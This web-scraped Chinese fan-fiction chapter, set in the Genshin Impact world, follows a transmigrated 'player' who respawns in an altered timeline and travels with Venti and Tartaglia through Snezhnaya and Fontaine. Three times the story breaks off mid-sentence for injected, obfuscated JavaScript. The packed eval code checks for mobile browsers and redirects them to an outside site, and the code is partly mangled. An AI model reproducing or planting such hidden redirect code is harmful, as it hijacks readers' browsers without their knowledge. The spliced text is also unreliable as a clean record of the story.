他感到一股剧痛蔓延,太痛了反而麻木,他看到近在咫尺的高塔孤王,以及惊骇状态的温迪。 他低下头,胸膛处血淋淋的洞。 “等等父神他没想伤害我虽然我本来是假装人质说服你手下留人——” “黑龙。”高塔孤王盯着玩家的脸,冷冰冰地吐出这个称谓,“预言中的深渊灾厄。我早该在你降临的那一刻就杀死你的。” 玩家带来了寒天之钉。 高塔孤王这样想道。 可玩家不是黑龙。 黑龙是千年后叫杜林的炼金造物,玩家是人,身上的非人气息和深渊力量,都是世界或是命运强加的桎梏。 “你吓到温迪了。”玩家心平气和地说道,也惊讶于自己没有第一时间湮灭意识,这让他还留有一口气放狠话,“没关系,我也吓他一次,那就扯平了。” 玩家无师自通了自爆技巧。 他推平了芬德尼尔之国,撕咬下迭卡拉庇安的灵魂,狂风暴雪中距离他最近的风精灵首当其中,反正玩家失去意识的时候已经看不到把自己带来山巅的罪魁祸首了。 玩家在黑暗中安眠。 只要睡个好觉,次日又是新的开始。 在地下城经历饿死、撑死、摔死、溺死、毒死、窒息死等等花样百出死法的玩家等待自己在降临之地复活。 他都做好准备等在达达利亚从天而降的位置然后打怪升级重新进入蒙德的准备了。 但是玩家有意识睁眼的时候,他看到鸟语花香,看到熟悉的风精灵。 于是玩家恍然大悟—— 他的复活点更新了。 这次的玩家平稳落地,这次的玩家提前离开,这次的玩家高高兴兴地跟在达达利亚身后陪他补给。 “好吃……”玩家含糊不清地咬着上次没来得及品味的熏肉,背后好像在飘花花。 “我会多囤点。”达达利亚记下了玩家的喜好,看向玩家的目光饱含心满意足,“等会儿我们出城,你先留在那,我会带猎物过来交换武器和各种物资。” 玩家点头。 玩家乖巧地在野外等待勇者归来。 他坐在野餐布上,咬着果子,看着芬德尼尔的方向,想着这次寒天之钉掉落下来的时候,他和达达利亚已经远离了蒙德。 有存档就是容易规避死亡。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007661|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,好像和游戏的读档又不一样。 玩家回忆着刚落地时开得过分茂盛的花朵、不害怕反而热烈欢迎的风精灵,以及在城区内不用四处打听消息就直驱最好合作商的达达利亚。 “他们的记忆不对。” 玩家漫不经心地想着:“风精灵的性情逐渐偏向游戏剧情里的巴巴托斯;达达利亚铭记我之前的死亡,照顾我,驱赶我。” 他咽下果仁,看了看自己的手。 “我果然是推动命运的棋子,在无意间促成了不得了的发展。”玩家把手掌合上,他没有多少好奇心,那两人不说,他也不打算追问。 就是不知道他重来的这一次有多少人保留了记忆,要是他每次死亡,不仅他记得,其他人也记得,那场景过于乐子人了。 玩家听到动静。 他以为是达达利亚回来了,然后抬头,瞧见了鬼鬼祟祟的麻花辫少年。 对方的模样和温迪宫殿里出现过的吟游诗人一模一样,但发尾却是精彩的黑绿渐变。 “嗨,小哥,外面风太大了,我都看不清去蒙德的路,可不可以让我躲一阵子?” 吟游诗人可怜兮兮地看着玩家,虽身量齐平玩家甚至更高,可那羞涩的模样,其实和上一条时间线中从窗户缝隙溜达进来的小精灵别无二致。 玩家盯着化身吟游诗人的风精灵温迪。 玩家开口:“巴巴托斯。” 装模作样的风精灵身体一僵。 玩家歪了歪头,盯着竟然对这个名字有反应的温迪,又慢悠悠重复了一遍原本游戏剧情里属于蒙德风神的名字。 “巴巴托斯——恭喜,没想到你已经成神了,既然如此,你不必畏惧强风,让外面的风随你心意停止便是。” “……” 温迪的笑容淡淡的。 他从风中而来,在玩家的身侧坐下:“你怎么会知道这个名字?这个名字在如今的提瓦特根本不存在。” “我来自世界之外,阅读过一些禁忌知识,知道这些不奇怪。”玩家从堆砌的野果中挑出几枚圆润的日落果丢向温迪,“你才奇怪。明明上一条时间线中,还是个不谙世事的小王子;这个世界线里,却像是回到过去弥补一切遗憾的神明。” 温迪接住了日落果。 他的指尖在红彤彤果子的映照下有些虚幻的苍白:“没错,没想到你都知道。” “我知道一些,但不是全部。”玩家捡起一根枯树枝在地上划来划去,“你有很多遗憾,但我想你未来已经成长到足够接纳这些遗憾,不至于玩弄时间。” “你很了解我嘛。”温迪托着下巴,专注地看着玩家的画,“是啊,我见证了芬德尼尔的死亡,见证了高塔孤王的陨落,见证了尘世政权的更迭,我以为我一辈子就要这么过去,然后某一天我睁开眼睛,回到诞生之初——” 玩家丢开树枝,抬眼瞥向温迪:“那该有美酒庆祝,我想喝你用时间之力酿的美酒。作为朋友,更作为受害者应有的道歉礼。” 温迪的咏叹调止在了让他最难受的地方,他瞪了一眼玩家,看了看怀里的日落果,没好气地照做,并送去了隐形的风之杯盏。 “好喝。”玩家心满意足点头,双手窝住了果酒,“继续。听上去你是被动回到过去?挺好,命运给了你仁慈的馈赠,你一开始就强大到足以规避遗憾。” “……与其说是命运的赐福,不如说是你的影响。”温迪抬手,指尖碰了碰玩家的脸,翠绿色的眼眸染上点点乌墨,“黑龙。” 5. 005 芬德尼尔预言中的黑龙。 玩家被那冰凉激得不爽,拍开温迪的手,语气不善:“我不是黑龙。更与你的时光倒流无关。 ” 他眼睛一闭一睁就来到被覆盖的存档,要不是此次交谈,他甚至都不能确认眼前的温迪真的做过巴巴托斯,真的回到了过去重新开始。 “哦?可你知道太多你不该知道了的。”温迪似笑非笑,“何况上一条时间线中,一切巨变都是从你的降临开始的。” 要说记得,达达利亚也记得。 玩家不以为然。他不觉得做过风神还掌握时间之力的温迪,会不知道芬德尼尔之国所在地未来会变成龙脊雪山。陈尸于此的黑龙是杜林,不是他。 “你在怪我。”玩家盯着那澄澈到透明的酒,“怪我灭亡了芬德尼尔,重伤了你亲爱的父神?” “还有温迪和阿莫斯他们。因为帮我开启了传送阵,在我也消失在山巅之后,死于高塔孤王的怒火。” “……” “欸嘿。你不会真信了吧。”温迪笑起来,他托着脸颊,表情戏谑,“放心,怪不到你头上,我顶多怪我自己当时软弱救不了亲友,怪我之后优柔寡断放任高塔走向毁灭。如你所见,我都成神了,能过得多么不好?” “……”玩家沉吟,他把杯中酒一饮而尽,任酒杯在风中弥散,然后往后一躺,装作醉了,什么都听不懂。 温迪也没追究。 他好心给玩家披了一件外套,然后托着下巴专注地盯着歇脚处的出入口。 这里的地形让身处其中的人窥探外界,犹如井底之蛙坐井观天。 “我能加入你的冒险小队吗?”温迪侧头看向已经把眼睛闭上的玩家,“我想去高塔之外看看。” “……”玩家翻了个身,用衣服把耳朵捂上了。 勇者小队缺一个活泼的精灵弓箭手。 温迪很合适。如果不去想为什么自由之神巴巴托斯在任职前和任职后的几千年里都没离开过蒙德的话。 …… 提着锻造好的剑和枪回来的达达利亚看着多出来的需求位。 “咳咳,吟游诗人周游列国的时候也会遇到一些危险的,我自带了一把弓噢!”温迪清了清嗓子,得意洋洋地举起了自己刚雕琢的武器。 “最大的危险不是你吗。”达达利亚抱着武器好整以暇地看着温迪。 温迪的笑容一僵,不敢置信地指着自己:“等等,我是最大的危险?” “我不管你是被神赐名的吟游诗人还是出逃蒙德的叛逆继承人。”达达利亚指着浑身酒味的玩家,“加入后不许给他喂坏果。这种味道的果子有毒。他本来就喜欢乱吃东西,不要启发他了。” “……我给他喂的是酒不是烂果。”温迪摸了摸下巴,“不过,我知道了,我会注意的。” 毕竟温迪也是见过玩家生啃高塔孤王的模样的。他能理解玩家胡吃海喝的程度,更能理解达达利亚的担忧。 要说不理解,温迪更不能理解的是达达利亚毫不犹豫的答应,以及玩家在达达利亚同意之后别无二话的欢迎。 “他是勇者,有权决定队友是谁。”根本没醉的玩家装作酒醒模样打着哈欠,“何况你跟我们走,早就做好了万全的准备吧?” 拒绝的流程是:拒绝→不得已同意。 同意的流程是:同意。 喜欢省事的玩家决定精简流程,勇于接纳这位和剧情里相似又完全不同的冒险伙伴。 何况玩家也问过了,温迪是打算在旅途结束后回到蒙德的。 这证明温迪的偏差值不高,他只是一个没见过世面想去领教下其他国家风土人情的未来神明,不是一个被名为蒙德的魔瓶困了数千年心怀愤懑的魔鬼。 “蒙德城的风气也比我们之前看到的更好。”玩家相信比他更深入接触蒙德居民的达达利亚对此很有感触。 其实达达利亚本来还想要装作没听懂玩家在说什么的。 但是他演技很差。而且,他说出玩家吃过坏果这件事的时候,就暴露出他也有上一段时间线的记忆了。 “我没有活很久。”达达利亚说道,“我在去芬德尼尔找你的路上遇到了伊蒙洛卡,死于伊蒙洛卡对高塔孤王的复仇。那时高塔孤王失去了亲子的行踪,高塔重回之前的高压统治。” “我从千风神殿返回高塔的时候他和伊蒙洛卡都已经逝世了。”温迪往篝火里添柴,“不过值得高兴的是,之后是伊蒙洛卡的后代推翻了高塔孤王。他们的王朝持续了数百年。” 玩家裹着皮草听得津津有味。 真好。他还以为这两个队友会互相遮掩一段时间,没想到这么快就公开布诚。便宜他了。 然后他的两位队友都把目光投到了玩家这位阳光开朗大男孩身上。 玩家慢半拍读懂了这两位打算让他分享故事的愿望。 “我从另外一个世界来的。”玩家觉得他的经历实在平平无奇,只能靠讲述别人的故事充实过去,“我读过你们的故事。即使部分节点存在差异,但一直跌宕起伏,充满传奇色彩。” 达达利亚:“那你呢?” 玩家不好意思:“我就是在玩。玩游戏,吃东西。没什么好说的。” 温迪询问:“旅行结束后,你会回到来时的地方吗?” 玩家说那太无聊了,他可以一直做个旅者:“我没那么想家,世界有那么多新鲜玩意,我是探索不完的。” 至冬这片犹如复制粘贴的雪原也让他看了心生欢喜。 “鱼咬钩了!”玩家还可以用手肘撞撞达达利亚,示意漫长的冰钓有了收获。 他摩拳擦掌,对雪国的生鲜充满期待,然而事实上,就连坐着丢木柴继续生火的温迪都比窝在毛绒绒里安静注视前方的玩家来得生机勃勃。 他窝在那里就像个不眨眼的雪人。 直到达达利亚扯动鱼竿,拉出了一只像鱼不是鱼的蓝色生物在冰块上扑腾。 “这是什么?”达达利亚拎着鱼竿,“这不是至冬的特产。” 他说着可能有毒,然后就打算把鱼扔回去,而玩家都没来得及阻止,未来的吞天之鲸已经被丢回了大海。 玩家心情复杂地坐了下来。 “哇哦。”温迪吹了一声口哨,“这蓝宝宝确实有毒。看上去空你也认识?” 玩家:“长得像传说中灭世的巨鲸。但是这头鲸鱼这么早就在提瓦特了吗。”剧情记忆已经很模糊的玩家不确定地说道。 “可能是蒙德这一带时间比较乱?”温迪歪头,“这里虽然是至冬,但挺靠近蒙德的。” “……你们在说什么?”放生巨鲸的达达利亚转过脸,手里不知道什么时候多了一把鱼枪,“灭世巨鲸?这种我听不懂的专业名词应该在我发现之前告诉我。” 他看上去下一秒就要潜下水去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007662|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把那头小鲸鱼重新叉上来。 “哎哎哎。”温迪忙闪身到达达利亚身边阻止他,“这种高位格的存在能钓上来一次就够啦,你不要乱动——我来!” 他兴致勃勃抬手,风浪从冰面破口直充云霄,幼小的吞天之鲸在空中划过优美的曲线,稳稳地落到了风裹住海水的临时鱼缸之中。 “我捉到了!”温迪高兴地将鱼缸举起来,“归我了,我要在蒙德的坠星山谷养他!” “它属于至冬!”达达利亚瞬间不乐意了,他本来还以为温迪只是单纯地阻止他冒险,谁能想到这坏心眼地风精灵直接明抢! 玩家在两人险些扯成一团的时候起身端走了鱼缸:“温迪,不要戏弄队友。和朋友推来推去很好玩,但你是在拱火。” 玩家举起鱼缸,里面不过人头大小的鲸鱼呆萌地游来游去,它慢半拍地注意到了玩家,开始嘴巴一张一合轻撞前方。 玩家得出结论:“它饿了。” 游戏设定里吞星之鲸以世界为食。应该是什么都能吃,能量越高的食物提供的营养更充足。 看在小鲸鱼对玩家吐泡泡的份上,玩家饶有兴致地输送了一点能量过去。 然后蓝鲸鱼开始变黑色。 “……你来喂。”玩家把手指掐进鱼苗咽喉把沾染了深渊气息的力量收回来,然后若无其事一甩手,把鱼缸放到了温迪手上。 温迪看着差点被抽干的萎靡鲸鱼陷入沉思,一用力,被时间之力洗礼的鲸鱼因为只长年龄不吃饭而更加憔悴。 “我也不适合喂他呢。”温迪笑眯眯地把鱼缸塞到了达达利亚手上。 达达利亚沉默地看着鱼缸里褪色成白色而且变长变扁的小鲸鱼。 ……这时候它像是至冬可以端上餐桌的银鱼了。 “它真的可以吞星吗?”达达利亚表示怀疑,但也没拒绝照顾鱼苗,毫无二话收下了这个怎么看怎么倒霉的未来霸主。 目前的达达利亚不能催动元素力,他不能直接喂养,所以再握住鱼枪前往破裂的冰面,勤恳地带来了新成员的晚餐。 海洋中可食用鱼的能量当然不比富集的元素,但小鲸鱼估计之前也吃这些,而且玩家和温迪也吃这些,所以小鲸鱼不该有异议。 因为最该有异议的是多了一张嘴喂的达达利亚以及新增的负重训练。 ——因为温迪嫌用风维持力量麻烦,将无形的鱼缸染了冰,让达达利亚必须拿着冰鱼缸赶路。 “好麻烦,吃了它好了。”玩家皱着眉头举起餐具,评价这只吞星之鲸为无用的观赏物,留着不能吃,扔了更怕后患无穷,不如进他肚子。 “不,我不觉得我被当了苦力。”达达利亚握着温迪的弓,“不洒出一滴水的前提下杀死敌人,很有趣。” 他瞄准了前方:“这训练我思考每一次移动,让我射出的每一箭,都需要抱着一击必杀的决心。” “就是这样!”温迪愉快地打了个响指,“这是我煞费苦心的教导!” 玩家盯着他们看了一会儿,慢吞吞移开视线,像是默认。 虽然很想提醒达达利亚不要跟温迪这种会用风元素作弊的弓箭手学习射箭,但是温迪比他更清楚这一点,而达达利亚是靠实战精进。他们都有自己的打算。 玩家不掺和了。 玩家只是单纯饿了,在晚上摸到了鱼缸边上,左看右看,拎起鲸鱼尾巴一甩,啊呜一口。 6. 006 玩家缩成一团。 “我不是故意的。”他小声道,“我没想到它也很能吃。明明那么小。张口却把我吸进去了。” “确实,还以为现在的它根本不能给我们带来变数。”温迪摸着下巴,眼里充满了对意外的趣味。 “回去就炖了它。”达达利亚冷酷无情地宣判,他能接受自己的队里多一个训练工具,却绝不能接受这个训练工具随时可以反噬主人,“明明就快到……” 虽然一切都源于玩家要吃了吞星之鲸导致吞星之鲸应激了,但达达利亚还是在反省他这段时间给吞星之鲸喂太饱了,以至于那鱼苗都能把他们三个一口吞掉。 他们如今身处海洋。 这里像是吞星之鲸体内的异空间,但那种异空间不会存在提瓦特的海洋生物。 他们更像是被传送到了某个海域。 这里,不会游泳的人也能在水下呼吸,以至于温迪第一时间用风隔出的空间,都是多此一举,只能说便利了他们的沟通,让他们有时间稳住玩家的情绪。 玩家:“我没有因为偷吃而心虚。” 达达利亚点头:“是我们忽视了你的建议,会发生这种事情是我考虑不周。” “这时候给我好好管教他的馋嘴哇!”温迪指责,但下一秒他眉毛一挑,“等等,有谁来了。” 玩家追随着温迪的视线看过去,瞧见了如美人鱼一样游来的白发少女。 对方看到他们的时候,那漂亮的异瞳一下子睁大了,惊讶地加速游到了他们面前,绕着水泡转圈。 “你们是谁?”芙卡洛斯伸出手抵在了那透明的罩壳上,水泡的表面似乎脆弱到一戳就破,可她的指尖完整地贴在了上面,“我没有在枫丹见过你们,在这片海域我甚至感知不知道你们的存在……” 暴增的利爪在话音未落的刹那穿透空间,人形的纯水精灵一瞬间与玩家近在咫尺,无数恶水争先恐后涌入,狂风以温迪为中心爆开,在海底掀起巨浪。 玩家拽着达达利亚飞速后退。 “好痛。”玩家按着伤口,表情困惑,“我不理解,他们区域魔神是有什么指标吗,非要杀我一次?” 迭卡拉庇安就算了,那是众所周知的高塔孤王,对方在误以为玩家是灾厄黑龙还挟持了他爱子的前提下,对玩家动手,玩家也认为情有可原。 但是芙卡洛斯……那是芙卡洛斯吧?剧情里尘世七国之一的枫丹执政芙卡洛斯,温柔、仁慈、善良、富有爱意和牺牲精神的水神,为什么一上来就给玩家来了个掏心? 玩家的肩膀也在痛。 他以为是脑袋晕乎导致的身体麻痹,但扭头才发现是达达利亚的手死死掐住他的肩膀,那双蓝眼睛正眨也不眨地盯着玩家,在眼球边缘延出青筋血丝。 深海里不能说话交流。 但达达利亚忘记了这里可以呼吸。 玩家抬手按住达达利亚的后脑勺,贴上去渡去新鲜空气,他瞧见强风排开海水裹住他们,而周边场景飞速倒退前移,直至他们出现在无名海滩,双脚结结实实踩上了地面。 温迪降落在他们不远处,风之翼在他身后张开,随着他落地而收敛。 “呃……嗨,需要我再给你们一点时间吗?”温迪双手背在身后,“哎呀,我都不知道你们是这种关系。” “人工呼吸。”玩家推开达达利亚,“估计是怕我再死一次。这次还好,伤口在恢复了。” 玩家摸了摸已经停止散发黑气的胸口,拉拢外袍看向温迪的方向:“芙卡洛斯怎么说?她为什么忽然袭击我?” “哎,你竟然知道她是谁,省得我解释了。”温迪笑眯眯地坐在了风中,指着远方瀑布所在的城池,“总之,正好赶上坎瑞亚灾变爆发,我们被当成入侵枫丹的深渊魔物了。” “我哪里像魔物?”玩家不满,“我只是在深渊待久了,被深渊腌入味了,我的理智很清醒。” “哎呀,那没办法,迭卡拉庇安都把你错认成黑龙了。”温迪摊开手,敷衍的语气随着话锋一转又变得轻快活泼,“说起来,这次怎么没有人在旁边吐槽我们排挤他不告诉他坎瑞亚灾变是什么了呢?” 玩家下意识看向达达利亚的方向。 “害怕是正常的,勇者大人。”温迪笑意盈盈,“魔神级别的战斗对于现在的你来说还过于遥远,而且,我能理解。”他捧住了心:“不希望看到空第二次在我面前死去的心情。” “……不。”达达利亚按着太阳穴抬起脸,“一想到将来我有机会和你们这样的人物交手,我热血沸腾。” “就算是现在的我也不只是累赘。”达达利亚说道。 玩家为达达利亚正名:“嗯,他提醒我躲过了要害。不然我就不会只受轻伤。” 他摸了摸胸口,伤口已经痊愈,但消耗的能量让他饥饿,所以语气听起来比平日更加没精打采。 “这么说来芙卡洛斯出现的第一时间你的气息确实变了。那是提醒?那你比我预料中还要敏锐……有趣。”温迪若有所思。 “我该努力做到更多。”达达利亚没有在这个话题上多停留,“找个地方帮空抓紧恢复,我们需要知道我们接下来要做什么。” …… 玩家想拯救世界。 就像是游戏剧情里的主角那样,每到一个国家,恰逢特大危机,然后当仁不让地成为这个国家的英雄。 可惜想象美好,现实骨感。 玩家已经倒霉触发两个区域魔神的仇恨机制。高塔孤王不说,芙卡洛斯竟然也这样。 “我真的被深渊浸入味了?”玩家委屈询问他的两位队友,得到了肯定的答复。 太遗憾了。那玩家在这个世界不是全民皆敌。毕竟坎瑞亚灾厄时期,所有人直面各种恐怖袭击,对深渊的仇恨值早已拉到满格。 “在深渊中也可以算个高层的程度。”温迪笑道,“所以你要考虑联合深渊攻占提瓦特吗?总不能被人白冤枉。” 玩家不考虑。 玩家自己都是深渊受害者,怎么可能顺着深渊给他打下的印记去征服世界? 何况书里书外都是召唤勇者拯救世界,玩家的心性和勇者沾不上边,但也不会是魔王。 “要解释误会。”玩家这样回答,“去做些能和她好好谈谈的好事。” 比如铲除枫丹现阶段的敌人厄里那斯。 于是玩家踩上厄里那斯尸体的脊背,这只坎瑞亚的炼金巨兽再也不会给枫丹带来不幸。 比如解决枫丹现阶段的难题涨水期。 于是玩家找到了新生不久的水龙,帮助所有人在大雨汹涌之时安全撤离。 比如改变枫丹现阶段神明牺牲的命运。 ……枫丹开始涨水意味着一代水神厄歌莉娅已死,二代水神芙卡洛斯即位,厄歌莉娅是救不了了,但玩家这里想改变的牺牲是芙卡洛斯的牺牲。 “你在五百年后以自己的牺牲为枫丹人争取到了新的未来。”玩家就这么跟芙卡洛斯坦白,不管芙卡洛斯是否还要继续这个计划,提前让她知道可以这么做,也省去这位现在思考解决办法的时间。 “噢……”而枫丹的新神沉默地看着玩家,看着这位被她的子民热情推举上来觐见神明的枫丹新晋英雄,神情微妙,“距离我们上次见面,过去了多少天?” “七天。”玩家坦然回答,“七天时间足够创世,也请不要意外我能做到这么多事,想必这也足以体现我与你会谈的诚意。” 他站在未来欧庇克莱歌剧院的位置,微微仰头看向芙卡洛斯。 “在谈话前,可以听到你的道歉吗?” …… 玩家去和芙卡洛斯见面。 玩家的队友正在复盘这七日剧情。 “哎呀,我本来以为他不在枫丹大闹一场就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007663|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了。”温迪托着腮帮子,坐在沙滩边上吹海风感叹,“没想到他真的有一颗拯救世界的热心肠。” 达达利亚在拉弓。 “我更想看到他当勇者哎。”温迪晃荡着双腿,“结果打厄里那斯的时候,非得让我协助你和他战斗。要不是厄里那斯也一心求死,这场戏还真不好演。比起传统的人类勇者,身世是黑龙的勇者才更有看头吧?” 达达利亚忙着射箭换箭,没理人。 “算啦,反正我自己也演得很开心。”温迪张开手,掌心涌动着厄里那斯的灵魂火焰,“还能救下被炼化的黄金造物。真是悲哀,明明并没有伤害任何人的心思,却因存在本身不断带来不幸,和沉睡雪山的黑龙杜林拥有一样的命运……说起来,这个时间点,去蒙德的话是可以遇见杜林的吧?” 达达利亚依然没有回应温迪,他打上瘾,把弓一掰,裂口朝前直接劈了上去。 “嗯,一定要去看看。因为特瓦林在蒙德。”温迪自顾自点头,把手腕一翻,收好了灵魂,一伸懒腰从礁石上跳了下来,“可惜我到的时间太晚,这个世界的特瓦林已经咽下杜林的毒血,即使是元素之龙,也没办法抗拒深渊的污染啊……” 达达利亚砰地倒地。 人形的元素之龙停止了陪练行动,竖瞳中倒映出风精灵的脸。 “嗨,那维莱特。”温迪在水龙身边停下,语气轻快,“别这么看着我,你的敌意应该冲着让风龙受伤的深渊去,而不是我这样柔弱无助的风精灵。” “柔弱无助的风精灵?”那维莱特瞥了他一眼,“获赠风之大权的微风与希望之神说这种招笑的话,是在不屑你们从龙王这里窃夺的权柄?” “可我确实还没有登临过神位呀,微风与希望之神是巴巴托斯,与我这位吟游诗人有什么关系?”温迪摇了摇头,“亲爱的水龙大人要真的这么在意过去那段历史,不如现在就去芙卡洛斯面前降下审判,取回水的统治权?” “……”那维莱特沉沉地看着他,“如果我的那位同族没有阻拦我的话,我早就这样做了。我会尊重他的意愿。即使是帮他调教不听话的龙侍。” “咳,这个词不是这么用的……”温迪忍俊不禁挡脸,心想玩家也是举一反三的天才,温迪本来是提议玩家借助他身上的深渊力量去勾搭深渊的,没想到玩家借助了他几次被冤枉成黑龙的事实,去跟那维莱特说自己是龙裔,还成功说服了对方为他出山。 事实上玩家的口才没有那么好,拥有着比魔神更古老血统的水龙也没有那么容易被蒙骗,只能说玩家使用的那具身体确实和龙族关系匪浅,以及那维莱特本质上只是走龙族恨魔神人设的新生代龙王。 玩家没来那维莱特也会出来,那维莱特就是芙卡洛斯来一封信请他去当枫丹审判长他都老老实实赴约然后兢兢业业干几百年的这种恨神人设。五百年后他可能更通人性,但如今尚未步入枫丹社会的那维莱特,对跟在玩家身边的达达利亚最委婉的用词就是这个了。 “算啦。”温迪把这个笑话压箱底,“我就不多嘴了,毕竟只有用这种名义,你才会屈尊陪他训练……”他表情唏嘘,说达达利亚真可怜,一个凡人怎么就被一条龙钦定成勇者,非得在他们这些超规格存在的毒打下摸爬滚打呢? ——温迪被淋了个落汤鸡。 他难以置信地看向头顶破洞的风盾,原本被他拦在外面的倾盆大雨很快落了他满身。 倾盆大雨是水龙的存在影响天气,可风精灵确信水龙不介意他这边风和日丽,所以他顺着那维莱特的目光看过去,瞧见了坐上刚才他那块礁石的达达利亚。 “两位师父,真抱歉我没力气了。”达达利亚露出爽朗的笑容,他手里还握着刚才被那维莱特用水元素修复的弓箭,他刚才正是借助这把有龙王力量的水弓,射穿了未来蒙德之神的风盾,“你们能切磋下吗?请让我近距离瞻仰下神与龙的战争。” 7. 007 玩家归队。 “这是芙卡洛斯。”玩家给达达利亚他们介绍,“她同意我们进入原始胎海,条件是规避枫丹的预言。” 所有人都会溶解在水里,只剩下水神在王座上哭泣。 这是统治提瓦特的天空岛因枫丹的原罪降下的预言。 原罪的故事是枫丹子民本来都是纯水精灵,是厄歌莉娅窃取了原始胎海的力量将他们拟态成人类。 原始胎海是此方土地孕育生命之源,本属于水龙,天空岛的主人夺取了他的权柄,让厄歌莉娅代行水之权柄,直至厄歌莉娅监守自盗。 如今厄歌莉娅身陨,但枫丹的命运没有更改,原作中的芙卡洛斯为此牺牲自我并成功改写命运,而玩家是打算换一个皆大欢喜的解决办法。 “原始胎海里会刷新出吞天之鲸。”玩家也给出了他要进入原始胎海的理由,“旅途不需要回到起点,但温迪需要回到千年前的蒙德。” 玩家看着风精灵:“……你的身体在变透明吗?” 早已变回原体的风精灵幽怨地看着玩家:“你才发现吗,非得给旧人解释完这些专有名词才来关心我的健康?” 玩家:“可你很健康。看上去只是变小了方便自然风干。” 达达利亚颠了颠掌心,正躺着晒太阳的温迪不满地哼唧:“那他们也好粗鲁的!那维莱特打得我好痛!” 玩家看向那维莱特。换了卷毛发型的龙王礼貌地冲他颔首。 玩家看向达达利亚。衣衫褴褛的战损少年冲他歪头咧嘴笑。 玩家盯着唯一形象比较正常的风精灵思考片刻,垂下眼,扭头对真正被忽视的客人致歉:“失礼了,他们来不及换好衣服招待。” “没事喔。”芙卡洛斯慢悠悠收回视线,冲玩家扬起了温柔的笑容,“能看到这些朋友这么有趣的一面,这些天在心头积压的乌云都少了很多。” 她上前了一步,于众人目光簇拥之下弯腰低头:“以芙卡洛斯之名,盛邀诸位参与这场审判命运的剧目——” 他们商议了新的剧本。 玩家提议的大纲,温迪填充的内容,芙卡洛斯和那维莱特充当主演。 达达利亚主要负责进原始胎海之后钓吞天之鲸。 “用不着说这种话来安慰我。”达达利亚哭笑不得,他的名字要是和他们并列听起来才别扭,“我现在确实派不上什么用场。” 达达利亚这种话才是错的。 因为剧目还需要准备时间,玩家和温迪不打算留在这里等结局,一个想去看坎瑞亚,一个想去蒙德,路上他们没达达利亚就没食物衣服。 “做饭好麻烦。”玩家蹲在地上,“衣服不用换。可以随时穿随时洗。” “我吃露水喝西北风就可以一直活噢。”温迪笑眯眯的,“也没兴趣和别的人类打交道呢。” 所以今夜达达利亚架起的篝火和烤肉再次得到了两个随身老爷爷的热烈欢迎! 看得出来玩家和温迪都属于别人喂饭就吃别人不管就摆烂的类型。 ——适合供奉。 “从这点来看当勇者确实比当邪神好。”温迪跟玩家窃窃私语。 “改掉这种念头。”玩家拧眉,语气强硬,“不能当邪神!” “哎呀,我就说说,没做过邪神才会好奇这些嘛。”温迪低笑,“但你不做勇者是对的。你更擅长催生勇者,以及……” 玩家眉头一皱。 他抬起手,啪地一声将掌心贴在温迪的脸蛋上:“以及?” 温迪眼中黑色粘稠翻滚:“邪神。催生邪神。” 玩家眨眼,温迪按住玩家的手把他掰下来,扭头看向捡了新柴火回来的达达利亚:“阿贾克斯。” “怎么了?”达达利亚意识到不对,放下柴火快步上前,又在快走到时慢下,“温迪,你身上的气息?”达达利亚眉头紧皱。 “深渊气息。”温迪撇嘴,“没办法,我尽量抵抗了,但谁让身边有一个行走的污染源,他因为不明原因能一直保持清醒,我再待下去,回头就在并肩作战的时候从背后搅碎你们心脏了。” 玩家再次眨了眨眼。 他缓慢地把手按压上胸膛。芙卡洛斯留下的伤口已完全愈合,他体内能量日益充盈,本以为是实力自然增长,还在高兴状态越来越好,没想到增长的力量属于深渊,增长的缘由是这个世界里的深渊攻势最猛烈。 “这样啊。”玩家慢吞吞开口,“我才发现。我能做些什么?” “这也不是你能控制的。”温迪一点玩家的眉心站起来,“阿贾克斯,接下来我会独自前往蒙德,你照顾空,按原计划去坎瑞亚,那里是战场中心,最危险,但能藏住他的气息,在战争结束后还能第一时间压制住深渊力量。” 达达利亚果断点头。 他看了看坐在地上仰头看着温迪的玩家,在临别前问道:“越是强者,越容易被影响?” “嗯哼。”温迪弯腰揉了揉玩家的金发,“这就是我鼓动他离开枫丹的原因。他对我们有天然的吸引力。” 玩家反驳这个说法:“没有天然。是我努力。我在主观帮她。也是为了我自己。”谈判那天也是芙卡洛斯成神第一天,幸好玩家办事及时,否则芙卡洛斯第一时间就要继续把玩家当成深渊入侵者斩于剑了。 “这句话也没错。精明的小呆子。”温迪抽回手,也不再理会玩家新一轮的辩论申请,化作一缕风很快消失在了他们面前。 玩家张口,又闭嘴。 他想说他们还没有说再见,但是转念一想,他们必定再见,也没必要再说客套话。 于是玩家低头理发。 十分钟后,达达利亚帮玩家重新扎好了辫子,笑着说他的头发又长了。 